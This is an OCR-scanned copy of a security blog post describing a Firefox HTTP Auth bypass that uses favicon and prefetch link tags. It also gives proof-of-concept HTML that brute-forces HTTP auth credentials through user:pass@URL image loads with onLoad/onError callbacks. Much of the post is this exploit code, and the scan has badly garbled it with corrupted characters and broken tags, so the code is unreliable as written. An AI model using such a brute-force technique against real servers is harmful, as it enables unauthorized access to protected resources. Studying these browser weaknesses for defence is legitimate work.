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Yesterday | blogged about a way to bypass HTTP Auth popus that used a "abuse the server"
approach. Today | will show a way to bypass HTTP auth in Firefox and in some cases bruteforce
HTTP auth in Firefox in some situations. The precondition for the bruteforce approach here is that
the attacked server is either running PHP with expose_php=0n or an application in a guessable
location that contains pictures. (However combined with timing attacks and the number of
requests sent depending if the password was correct or not it might be possible to do this without
pictures)

The basic idea behind bypassing HTTP auth is to request the files in a way that Firefox will not
bother asking the user for a password. From a logical point of view this results in the question:
Where does Firefox request optional content? Because this are the likely cases where it does not
ask the user for a password. After a bit of thinking you might get the idea that the favicon and the
page prefetching are likely cases.

And indeed a page like this will not trigger an HTTP auth popup
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****<**htnﬂ**>****

*kkk<kkhegd*F>FrEE

FhFkhktjtle*F>FRAAEE HTML Only HTTP Auth Bypass****<**/tjt|e**>****
**xk<E*|ink rel="shortcut icon" href="http://192.168.1.1/"
type="image/x-icon"**>**%*

**xk<k*link rel="prefetch" href="http://192.168.1.1/"**>%**%

*hkkokk [hagdrr>*rr*
****<**body**>****
Bumm

****<**/body**>****

****<**/htnﬂ**>****

If you like you can combine this with your favourite HTML only timing attack that is now public and
discussed for example here or take the whole thing a step further and use it for bruteforcing HTTP
auth. All you need for this is to know that Firefox does agressive caching for favicons and the URL
to a HTTP auth protected image. In case the server is running PHP with expose_php=0n you can
use the idea described here to use as attack image URL. The proof of concept code is here:

****<**htnﬂ**>****
****<**head**>****
FrEEAHRjtle**F>*FFF*FEirefox HTTP Auth Bruteforcing****<**/tjtle**>**+*
Fhkk kR gCriptRESHEE
function okPW()
{
alert("User/Password Combination correct");

}

function wrongPW()
{

alert("User/Password Combination is wrong");
}

FAFEAKR[SCPERASHIAK

**xk<k*|ink rel="shortcut icon" href="http://user:pass@URL"
type="image/x-icon"**>****
****<**/head**>****

****<**body**>****

*Fhxk<d*img src="http://user:pass@URL"

onLoad="okPW()" onError="wrongPW()"**>%%*%

****<**/body**>****

****<**/htnﬂ**>****
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Please note that you can use any kind of URL that points to a HTTP auth protected image. You can
obviously also use the expose_php GUIDs like *?=PHPE9568F35-D428-11d2-A769-00AA001ACF42*.
However you must ensure that both user:pass+URL combinations are the same because otherwise
the caching will not kick in. Additionally you cannot simply reload the page, because then you will
get the HTTP auth popup.
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